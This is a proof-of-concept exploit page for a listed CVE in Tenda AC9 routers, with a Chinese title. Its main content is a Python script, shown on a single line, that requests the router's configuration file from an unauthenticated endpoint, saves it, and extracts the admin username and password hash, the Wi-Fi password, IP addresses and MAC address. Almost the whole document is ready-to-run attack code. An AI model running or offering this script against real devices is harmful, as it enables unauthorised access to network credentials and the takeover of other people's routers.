CVE-2025-14286 | Tenda AC9路由器配置下载接口信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-14286 PoC - Tenda AC9 Configuration File Download This PoC demonstrates the information disclosure vulnerability in Tenda AC9 routers. The /cgi-bin/DownloadCfg.jpg endpoint allows unauthenticated configuration download. """ import requests import sys import re def extract_config_info(config_text): """Extract sensitive information from configuration file""" patterns = { 'LAN IP': r'lan_ipaddr=([^&\s]+)', 'WAN IP': r'wan_ipaddr=([^&\s]+)', 'Admin User': r'admin_username=([^&\s]+)', 'Admin Password Hash': r'admin_password=([^&\s]+)', 'Wireless SSID': r'wireless_ssid=([^&\s]+)', 'Wireless Password': r'wireless_password=([^&\s]+)', 'MAC Address': r'macaddr=([^&\s]+)' } extracted = {} for key, pattern in patterns.items(): match = re.search(pattern, config_text) if match: extracted[key] = match.group(1) return extracted def exploit(target_ip): """Exploit the vulnerability""" target_url = f"http://{target_ip}/cgi-bin/DownloadCfg.jpg" print(f"[*] Target: {target_ip}") print(f"[*] Exploiting CVE-2025-14286...") print(f"[*] Requesting: {target_url}") try: # Send unauthenticated request to download configuration response = requests.get(target_url, timeout=10) if response.status_code == 200: print(f"[+] Successfully downloaded configuration file!") print(f"[+] File size: {len(response.content)} bytes") # Save raw configuration with open(f'config_{target_ip.replace(".", "_")}.bin', 'wb') as f: f.write(response.content) print(f"[+] Configuration saved to config file") # Try to decode and extract information try: config_text = response.content.decode('utf-8', errors='ignore') extracted_info = extract_config_info(config_text) if extracted_info: print("\n[+] Extracted Sensitive Information:") for key, value in extracted_info.items(): print(f" {key}: {value}") else: print("[*] Could not parse configuration format") print("[*] First 500 bytes of response:") print(response.content[:500]) except Exception as e: print(f"[-] Error parsing configuration: {e}") return True else: print(f"[-] Failed to download configuration. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") print(f"Example: {sys.argv[0]} 192.168.0.1") sys.exit(1) target = sys.argv[1] exploit(target)